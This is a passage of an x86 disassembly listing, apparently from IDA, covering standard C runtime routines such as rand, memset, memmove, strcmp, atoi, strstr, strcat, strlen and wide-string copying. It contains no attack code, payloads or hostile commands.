		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419343
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4173EC
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4173F9
; ---------------------------------------------------------------------------


loc_4173EC:				; CODE XREF: sub_4173AC+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41922E
		pop	ecx
		pop	ecx


loc_4173F9:				; CODE XREF: sub_4173AC+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4173AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4173FE	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D79+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43B56C, eax
		retn
sub_4173FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417408	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_43B56C
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43B56C, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_417408	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417430	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401447+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417483
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417477
		neg	ecx
		and	ecx, 3
		jz	short loc_417459
		sub	edx, ecx


loc_417453:				; CODE XREF: sub_417430+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417453


loc_417459:				; CODE XREF: sub_417430+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417477
		rep stosd
		test	edx, edx
		jz	short loc_41747D


loc_417477:				; CODE XREF: sub_417430+18j
					; sub_417430+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417477


loc_41747D:				; CODE XREF: sub_417430+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417483:				; CODE XREF: sub_417430+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417490	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4174B0
		cmp	edi, eax
		jb	loc_417628


loc_4174B0:				; CODE XREF: sub_417490+16j
		test	edi, 3
		jnz	short loc_4174CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4174EC
		rep movsd
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------


loc_4174CC:				; CODE XREF: sub_417490+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4174E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4174EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4174E4:				; CODE XREF: sub_417490+46j
		jmp	dword ptr loc_4175E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4174EC:				; CODE XREF: sub_417490+31j
					; sub_417490+8Ej ...
		jmp	off_41756C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417500
		dd offset loc_41752C
		dd offset loc_417550
; ---------------------------------------------------------------------------


loc_417500:				; DATA XREF: sub_417490+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4174EC
		rep movsd
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41752C:				; DATA XREF: sub_417490+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4174EC
		rep movsd
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417550:				; DATA XREF: sub_417490+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4174EC
		rep movsd
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41756C	dd offset loc_4175CF	; DATA XREF: sub_417490:loc_4174ECr
		dd offset loc_4175BC
		dd offset loc_4175B4
		dd offset loc_4175AC
		dd offset loc_4175A4
		dd offset loc_41759C
		dd offset loc_417594
		dd offset loc_41758C
; ---------------------------------------------------------------------------


loc_41758C:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_417594:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41759C:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4175A4:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4175AC:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4175B4:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4175BC:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4175CF:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490:off_41756Co
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4175D8	dd offset loc_4175E8	; DATA XREF: sub_417490+35r
					; sub_417490+92r ...
		dd offset loc_4175F0
		dd offset loc_4175FC
		dd offset loc_417610
; ---------------------------------------------------------------------------


loc_4175E8:				; CODE XREF: sub_417490+35j
					; sub_417490+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4175F0:				; CODE XREF: sub_417490+35j
					; sub_417490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4175FC:				; CODE XREF: sub_417490+35j
					; sub_417490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417610:				; CODE XREF: sub_417490+35j
					; sub_417490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417628:				; CODE XREF: sub_417490+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41765C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417650
		std
		rep movsd
		cld
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417650:				; CODE XREF: sub_417490+1B1j
					; sub_417490+208j ...
		neg	ecx
		jmp	off_417720[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41765C:				; CODE XREF: sub_417490+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417674
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417674+4[eax*4]
; ---------------------------------------------------------------------------


loc_417674:				; CODE XREF: sub_417490+1D6j
					; DATA XREF: sub_417490+1DDr
		jmp	off_417770[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[esi+41h], dh
		add	[eax-2FFFBE8Ah], ch
		jbe	short loc_4176C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417650
		std
		rep movsd
		cld
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417650
		std
		rep movsd
		cld


loc_4176C8:				; CODE XREF: sub_417490+1F5j
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417650
		std
		rep movsd
		cld
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417724
		dd offset loc_41772C
		dd offset loc_417734
		dd offset loc_41773C
		dd offset loc_417744
		dd offset loc_41774C
		dd offset loc_417754
off_417720	dd offset loc_417767	; DATA XREF: sub_417490+1C2r
; ---------------------------------------------------------------------------


loc_417724:				; DATA XREF: sub_417490+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41772C:				; DATA XREF: sub_417490+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417734:				; DATA XREF: sub_417490+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41773C:				; DATA XREF: sub_417490+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417744:				; DATA XREF: sub_417490+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41774C:				; DATA XREF: sub_417490+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417754:				; DATA XREF: sub_417490+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417767:				; CODE XREF: sub_417490+1C2j
					; DATA XREF: sub_417490:off_417720o
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417770	dd offset loc_417780	; DATA XREF: sub_417490+1B7r
					; sub_417490:loc_417674r ...
		dd offset loc_417788
		dd offset loc_417798
		dd offset loc_4177AC
; ---------------------------------------------------------------------------


loc_417780:				; CODE XREF: sub_417490+1B7j
					; sub_417490:loc_417674j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417788:				; CODE XREF: sub_417490+1B7j
					; sub_417490:loc_417674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417798:				; CODE XREF: sub_417490+1B7j
					; sub_417490:loc_417674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4177AC:				; CODE XREF: sub_417490+1B7j
					; sub_417490:loc_417674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4177D0	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41781C


loc_4177E0:				; CODE XREF: sub_4177D0+3Cj
					; sub_4177D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417814
		or	al, al
		jz	short loc_417810
		cmp	ah, [ecx+1]
		jnz	short loc_417814
		or	ah, ah
		jz	short loc_417810
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417814
		or	al, al
		jz	short loc_417810
		cmp	ah, [ecx+3]
		jnz	short loc_417814
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4177E0
		mov	edi, edi


loc_417810:				; CODE XREF: sub_4177D0+18j
					; sub_4177D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417814:				; CODE XREF: sub_4177D0+14j
					; sub_4177D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41781C:				; CODE XREF: sub_4177D0+Ej
		test	edx, 1
		jz	short loc_417838
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417814
		inc	ecx
		or	al, al
		jz	short loc_417810
		test	edx, 2
		jz	short loc_4177E0


loc_417838:				; CODE XREF: sub_4177D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417814
		or	al, al
		jz	short loc_417810
		cmp	ah, [ecx+1]
		jnz	short loc_417814
		or	ah, ah
		jz	short loc_417810
		add	ecx, 2
		jmp	short loc_4177E0
sub_4177D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417860	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_401A6D+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417879
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_417879:				; CODE XREF: sub_417860+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417860	endp


; =============== S U B	R O U T	I N E =======================================



sub_417894	proc near		; CODE XREF: sub_41791F+4p
					; sub_41DD12+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41789C:				; CODE XREF: sub_417894+34j
		cmp	dword_43B7AC, 1
		jle	short loc_4178B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_4178C3
; ---------------------------------------------------------------------------


loc_4178B4:				; CODE XREF: sub_417894+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43B5A0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4178C3:				; CODE XREF: sub_417894+1Ej
		test	eax, eax
		jz	short loc_4178CA
		inc	edi
		jmp	short loc_41789C
; ---------------------------------------------------------------------------


loc_4178CA:				; CODE XREF: sub_417894+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4178DA
		cmp	esi, 2Bh
		jnz	short loc_4178DE


loc_4178DA:				; CODE XREF: sub_417894+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4178DE:				; CODE XREF: sub_417894+44j
		xor	ebx, ebx


loc_4178E0:				; CODE XREF: sub_417894+7Bj
		cmp	dword_43B7AC, 1
		jle	short loc_4178F5
		push	4
		push	esi
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_417900
; ---------------------------------------------------------------------------


loc_4178F5:				; CODE XREF: sub_417894+53j
		mov	eax, off_43B5A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417900:				; CODE XREF: sub_417894+5Fj
		test	eax, eax
		jz	short loc_417911
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4178E0
; ---------------------------------------------------------------------------


loc_417911:				; CODE XREF: sub_417894+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41791A
		neg	eax


loc_41791A:				; CODE XREF: sub_417894+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417894	endp


; =============== S U B	R O U T	I N E =======================================



sub_41791F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417894
		pop	ecx
		retn
sub_41791F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41792A	proc near		; CODE XREF: sub_401447+318p
					; sub_401D79+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419343
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417969
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417976
; ---------------------------------------------------------------------------


loc_417969:				; CODE XREF: sub_41792A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41922E
		pop	ecx
		pop	ecx


loc_417976:				; CODE XREF: sub_41792A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41792A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417980	proc near		; CODE XREF: sub_401D79+2D8p
					; sub_401D79+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4179FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4179E7


loc_417998:				; CODE XREF: sub_417980+52j
					; sub_417980+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4179BA
		test	al, al
		jz	short loc_4179B4


loc_4179A9:				; CODE XREF: sub_417980+32j
		mov	al, [esi]
		inc	esi


loc_4179AC:				; CODE XREF: sub_417980+3Fj
		cmp	al, dl
		jz	short loc_4179BA
		test	al, al
		jnz	short loc_4179A9


loc_4179B4:				; CODE XREF: sub_417980+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4179BA:				; CODE XREF: sub_417980+23j
					; sub_417980+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4179AC
		lea	edi, [esi-1]


loc_4179C4:				; CODE XREF: sub_417980+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4179F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417998
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4179F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4179C4
		jmp	short loc_417998
; ---------------------------------------------------------------------------


loc_4179E7:				; CODE XREF: sub_417980+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418636
; ---------------------------------------------------------------------------


loc_4179F3:				; CODE XREF: sub_417980+49j
					; sub_417980+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4179FA:				; CODE XREF: sub_417980+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417980	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A00	proc near		; CODE XREF: sub_405A6A+2BFp
					; sub_40A74C+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A71
sub_417A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417A10	proc near		; CODE XREF: sub_402368+484p
					; sub_406047+15Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_417A2C


loc_417A1D:				; CODE XREF: sub_417A10+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A5F
		test	ecx, 3
		jnz	short loc_417A1D


loc_417A2C:				; CODE XREF: sub_417A10+Bj
					; sub_417A10+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A2C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A6E
		test	ah, ah
		jz	short loc_417A69
		test	eax, 0FF0000h
		jz	short loc_417A64
		test	eax, 0FF000000h
		jz	short loc_417A5F
		jmp	short loc_417A2C
; ---------------------------------------------------------------------------


loc_417A5F:				; CODE XREF: sub_417A10+12j
					; sub_417A10+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A71
; ---------------------------------------------------------------------------


loc_417A64:				; CODE XREF: sub_417A10+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A71
; ---------------------------------------------------------------------------


loc_417A69:				; CODE XREF: sub_417A10+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A71
; ---------------------------------------------------------------------------


loc_417A6E:				; CODE XREF: sub_417A10+39j
		lea	edi, [ecx-4]


loc_417A71:				; CODE XREF: sub_417A00+5j
					; sub_417A10+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A96


loc_417A7D:				; CODE XREF: sub_417A10+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AE8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A7D
		jmp	short loc_417A96
; ---------------------------------------------------------------------------


loc_417A91:				; CODE XREF: sub_417A10+9Ej
					; sub_417A10+B8j
		mov	[edi], edx
		add	edi, 4


loc_417A96:				; CODE XREF: sub_417A10+6Bj
					; sub_417A10+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A91
		test	dl, dl
		jz	short loc_417AE8
		test	dh, dh
		jz	short loc_417ADF
		test	edx, 0FF0000h
		jz	short loc_417AD2
		test	edx, 0FF000000h
		jz	short loc_417ACA
		jmp	short loc_417A91
; ---------------------------------------------------------------------------


loc_417ACA:				; CODE XREF: sub_417A10+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AD2:				; CODE XREF: sub_417A10+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417ADF:				; CODE XREF: sub_417A10+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AE8:				; CODE XREF: sub_417A10+72j
					; sub_417A10+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_417A10	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AF0	proc near		; CODE XREF: sub_402368+93p
					; sub_402368+A1p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417B10


loc_417AFC:				; CODE XREF: sub_417AF0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B43
		test	ecx, 3
		jnz	short loc_417AFC
		add	eax, 0


loc_417B10:				; CODE XREF: sub_417AF0+Aj
					; sub_417AF0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417B10
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B61
		test	ah, ah
		jz	short loc_417B57
		test	eax, 0FF0000h
		jz	short loc_417B4D
		test	eax, 0FF000000h
		jz	short loc_417B43
		jmp	short loc_417B10
; ---------------------------------------------------------------------------


loc_417B43:				; CODE XREF: sub_417AF0+11j
					; sub_417AF0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B4D:				; CODE XREF: sub_417AF0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B57:				; CODE XREF: sub_417AF0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B61:				; CODE XREF: sub_417AF0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B70	proc near		; CODE XREF: sub_402822+8p
					; sub_402E92+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B90


loc_417B7C:				; CODE XREF: sub_417B70+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B7C


loc_417B90:				; CODE XREF: sub_417B70+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B70	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9F	proc near		; CODE XREF: sub_403A47+7Ap
					; sub_403A47+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417BB3


loc_417BAB:				; CODE XREF: sub_417B9F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417BAB


loc_417BB3:				; CODE XREF: sub_417B9F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_417BB8:				; CODE XREF: sub_417B9F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417BB8
		pop	esi
		retn
sub_417B9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC9	proc near		; CODE XREF: sub_404D78+35Bp
					; sub_404D78+3D7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	esi
		mov	dx, [ecx]
		lea	esi, [eax+2]
		mov	[eax], dx


loc_417BDB:				; CODE XREF: sub_417BC9+21j
		inc	ecx
		inc	ecx
		test	dx, dx
		jz	short loc_417BEC
		mov	dx, [ecx]
		mov	[esi], dx
		inc	esi
		inc	esi
		jmp	short loc_417BDB
; ---------------------------------------------------------------------------


loc_417BEC:				; CODE XREF: sub_417BC9+17j
		pop	esi
